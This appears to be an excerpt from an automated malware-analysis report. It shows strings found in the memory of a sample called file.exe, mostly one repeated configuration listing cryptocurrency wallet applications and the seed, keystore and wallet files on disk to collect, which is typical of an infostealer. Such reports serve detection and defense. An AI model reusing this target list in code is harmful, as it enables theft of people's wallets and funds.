Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 